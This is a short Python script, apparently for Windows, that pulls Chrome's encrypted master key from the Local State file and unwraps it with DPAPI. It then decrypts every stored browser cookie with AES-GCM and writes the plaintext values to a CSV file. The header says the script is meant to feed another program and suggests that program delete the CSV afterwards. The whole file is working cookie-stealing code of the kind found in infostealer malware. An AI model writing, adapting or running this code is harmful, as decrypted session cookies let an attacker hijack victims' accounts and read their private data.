# Rohmer Maxime
# RecoverCookies.py
# Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files
# This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it)
# Parts of this cript have been created with the help of ChatGPT

import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
from pathlib import Path
import csv

def get_master_key():
    with open(
        os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
    ) as f:
        local_state = f.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    master_key = master_key[5:]  # removing DPAPI
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    print("MASTER KEY :")
    print(master_key)
    print(len(master_key))
    return master_key

def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)

def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_password(buff, master_key):
    try:
        iv = buff[3:15]
        payload = buff[15:]
        cipher = generate_cipher(master_key, iv)
        decrypted_pass = decrypt_payload(cipher, payload)
        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
        return decrypted_pass
    except Exception:
        # print("Probably saved password from Chrome version older than v80\n")
        # print(str(e))
        return "Chrome < 80"


master_key = get_master_key()

cookies_path = Path(
    os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
)

if not cookies_path.exists():
    raise ValueError("Cookies file not found")

with sqlite3.connect(cookies_path) as connection:
    connection.row_factory = sqlite3.Row
    cursor = connection.cursor()
    cursor.execute("SELECT * FROM cookies")
    
    with open('cookies.csv', 'a', newline='') as csvfile:
        fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)

        if csvfile.tell() == 0:
            writer.writeheader()

        for row in cursor.fetchall():
            decrypted_value = decrypt_password(row["encrypted_value"], master_key)
            writer.writerow({
                'host_key': row["host_key"],
                'name': row["name"],
                'value': decrypted_value,
                'path': row["path"],
                'expires_utc': row["expires_utc"],
                'is_secure': row["is_secure"],
                'is_httponly': row["is_httponly"]
            })
            
print("Finished CSV")
